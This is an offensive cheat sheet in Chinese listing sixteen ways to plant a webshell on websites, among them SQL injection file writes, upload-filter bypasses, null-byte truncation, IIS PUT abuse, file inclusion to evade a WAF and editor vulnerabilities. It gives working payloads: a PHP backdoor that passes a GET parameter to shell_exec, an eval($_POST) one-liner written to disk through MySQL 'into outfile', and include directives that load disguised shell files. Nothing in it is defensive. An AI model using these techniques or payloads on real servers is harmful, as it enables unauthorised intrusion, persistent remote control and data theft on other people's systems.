常用方法简介：
一、0day拿webshell
参考工具：织梦漏洞利用小工具
二、通过注入漏洞拿Webshell
前提条件：具有足够权限，对写入木马的文件夹要有写入权限，知道网站绝对路径。
对于mssql注入漏洞，网站可以通过log备份、差异备份拿Webshell
对于mysql注入漏洞的网站可以通过into file函数将一句话木马写入，拿Webshell。
参考工具：Getwebshell增强版、pangolin、
三、通过远程命令执行拿Webshell
zhu.php
<?php $x=$_GET["z"]; echo "<pre>"; echo shell_exec($x); echo "<pre>"; ?>
然后再浏览器访问此php文件，跟一个z的参数是一句话木马，输出到cracer.php文件
跟着在浏览器访问一下这个php文件，再用菜刀连接就可以了
四、struts2拿Webshell
参考工具：鬼哥struts2、Struts2漏洞批量检测
五、通过用户上传头像拿Webshell
原理：用户注册后，有些网站可以上传头像图片、附件、文件等，可以利用此来上传Webshell
六、IIS写权限拿webshell
原理：通过找到有IIS写入权限的网站，put进去一个txt文件，目录必须有可写的权限，然后通过move方法进行重命名为xxx.php
参考工具：IIS put scanner
七、本地JS验证突破拿Webshell
当网站设置了JS来限制用户上传的文件类型时，我们可以通过删除JS文件或者修改上传文件类型突破上传限制拿Webshell
参考工具：使用burpsuit或fiddler代理工具提交，本地文件先改为XXX.jpg，上传时拦截，再把文件名后缀更改为php即可
八、修改网站上传类型配置拿Webshell
有的网站设置了上传类型的限制，修改其上传类型即可
九、文件包含拿Webshell
先将Webshell改为txt文件上传，然后上传一个脚本文件包含该txt文件，可绕过waf拿webshell
asp包含
1.<!--#include file="123.jpg"--> 2.调用的文件和被调用的文件必须在同一个目录，否则找不到 3.不同目录之间包含 <!--#include virtual="文件所在目录/123.jpg"-->
php包含
<?php include ("123.jpg")?>;
十、网站配置插马拿Webshell
通过找到网站默认配置，将一句话插入网站配置中间。
十一、利用编辑器漏洞拿Webshell
常见的编辑器漏洞有fckeditor、ewebeditor、cheditor等
十二、通过编辑器模板拿Webshell
通过对网站的模板进行编辑写入一句话，然后生成脚本文件拿webshell
通过将木马添加到压缩文件，把名字改为网站模板类型，上传到网站服务器拿webshell
十三、数据库命令执行拿webshell
可以利用phpmyadmin登录数据库使用数据库命令将木马导出，拿Webshell(适用于phpmyadmin比较老的版本)
create table study (cmd text NOT NULL);
insert into study(cmd) VALUES ('<?php eval ($_POST[cmd])?>');
select cmd from study into outfile 'D:/www/rooney.php';
drop TABLE IF EXISTS study;
十四、00截断拿Webshell
在上传文件的时候，你上传的文件名可能会被网站自动改成别的名字，这个时候你可以尝试抓取文件上传数据包，将文件名改为XX.asp%00.jpg进行截断上传，拿webshell
十五、利用解析漏洞拿Webshell
IIS 5.X/6.0解析漏洞 IIS 7.0/IIS 7.5 /nginx < 8.03 畸形解析漏洞 nginx < 8.03 空字节代码执行漏洞 Apache 解析漏洞
十六：另类拿Webshell
更新页面拿 Webshell 上传插件拿Webshell 上传特殊马拿Webshell 上传免杀马过安全软件